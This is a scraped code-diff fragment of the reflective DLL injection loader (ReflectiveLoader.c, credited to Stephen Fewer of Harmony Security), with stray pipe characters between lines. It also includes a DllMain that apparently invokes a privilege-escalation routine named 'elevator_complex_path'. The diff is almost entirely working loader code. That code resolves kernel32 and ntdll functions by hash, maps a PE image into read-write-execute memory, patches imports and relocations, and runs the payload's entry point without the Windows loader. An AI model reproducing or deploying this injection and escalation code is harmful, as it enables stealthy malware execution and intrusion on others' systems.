BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
hAppInstance = hinstDLL;
|
||||
elevator_complex_path();
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
Vendored
Regular → Executable
+210
-207
@@ -1,5 +1,5 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
@@ -30,17 +30,14 @@
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#ifdef _WIN64
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
__declspec(noinline) UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
|
||||
#endif
|
||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
||||
//===============================================================================================//
|
||||
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
@@ -49,54 +46,43 @@ __declspec(noinline) UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
#else
|
||||
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA;
|
||||
GETPROCADDRESS pGetProcAddress;
|
||||
VIRTUALALLOC pVirtualAlloc;
|
||||
VIRTUALLOCK pVirtualLock;
|
||||
OUTPUTDEBUG pOutputDebug;
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
UINT_PTR uiLibraryAddress;
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
UINT_PTR uiBaseAddress;
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
UINT_PTR uiAddressArray;
|
||||
UINT_PTR uiNameArray;
|
||||
UINT_PTR uiExportDir;
|
||||
UINT_PTR uiNameOrdinals;
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
UINT_PTR uiHeaderValue;
|
||||
UINT_PTR uiValueA;
|
||||
UINT_PTR uiValueB;
|
||||
UINT_PTR uiValueC;
|
||||
UINT_PTR uiValueD;
|
||||
UINT_PTR uiValueE;
|
||||
|
||||
register UINT_PTR inspect;
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
// we will start searching backwards from our current EIP
|
||||
#ifdef _WIN64
|
||||
uiLibraryAddress = eip();
|
||||
#else
|
||||
__asm {
|
||||
call geteip
|
||||
geteip:
|
||||
pop uiLibraryAddress
|
||||
}
|
||||
|
||||
#endif
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
@@ -117,105 +103,164 @@ geteip:
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef _WIN64
|
||||
uiBaseAddress = __readgsqword( 0x60 );
|
||||
#ifdef WIN_X64
|
||||
uiBaseAddress = __readgsqword( 0x60 );
|
||||
#else
|
||||
#ifdef WIN_X86
|
||||
uiBaseAddress = __readfsdword( 0x30 );
|
||||
#else WIN_ARM
|
||||
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while( uiValueA )
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror( (DWORD)uiValueC );
|
||||
// normalize to uppercase if the module name is in lowercase
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if( *((BYTE *)uiValueB) >= 'a' )
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while( --usCounter );
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
break;
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF( uiValueA );
|
||||
}
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 5;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALLOCK_HASH )
|
||||
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == OUTPUTDEBUG_HASH )
|
||||
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
@@ -223,26 +268,23 @@ geteip:
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
// prevent our image from being swapped to the pagefile
|
||||
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
|
||||
|
||||
while( uiValueA-- )
|
||||
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
|
||||
// iterate through all sections, loading them into memory.
|
||||
while( uiValueE-- )
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
@@ -253,38 +295,28 @@ geteip:
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );
|
||||
|
||||
while( uiValueD-- )
|
||||
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||
}
|
||||
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
uiValueC = ( uiBaseAddress + (UINT_PTR)((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all imports
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
|
||||
{
|
||||
/*
|
||||
pOutputDebug("Loading library: ");
|
||||
pOutputDebug((LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ));
|
||||
pOutputDebug("\n");
|
||||
*/
|
||||
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
if (! uiLibraryAddress) {
|
||||
//pOutputDebug("Loading library FAILED\n");
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
continue;
|
||||
}
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||
@@ -302,7 +334,7 @@ geteip:
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
@@ -320,42 +352,35 @@ geteip:
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||
/*
|
||||
pOutputDebug("Resolving function: ");
|
||||
pOutputDebug((LPCSTR)( (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ));
|
||||
pOutputDebug("\n");
|
||||
*/
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof( UINT_PTR );
|
||||
uiValueA += sizeof( ULONG_PTR );
|
||||
if( uiValueD )
|
||||
uiValueD += sizeof( UINT_PTR );
|
||||
uiValueD += sizeof( ULONG_PTR );
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
}
|
||||
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||
|
||||
// check if there are any relocations present
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||
|
||||
// check if their are any relocations present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// and we iterate through all entries...
|
||||
// and we itterate through all entries...
|
||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
@@ -374,9 +399,42 @@ geteip:
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||
*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)( dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||
@@ -391,34 +449,14 @@ geteip:
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: process the images exception directory if it has one (PE32+ for x64)
|
||||
/*
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
|
||||
// check if their are any exception etries present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// get the number of entries
|
||||
uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
|
||||
|
||||
// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all entries
|
||||
while( uiValueA-- )
|
||||
{
|
||||
//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
|
||||
|
||||
// get the next entry
|
||||
uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
|
||||
}
|
||||
}
|
||||
*/
|
||||
// STEP 7: call our images entry point
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
@@ -428,52 +466,17 @@ geteip:
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||
#endif
|
||||
|
||||
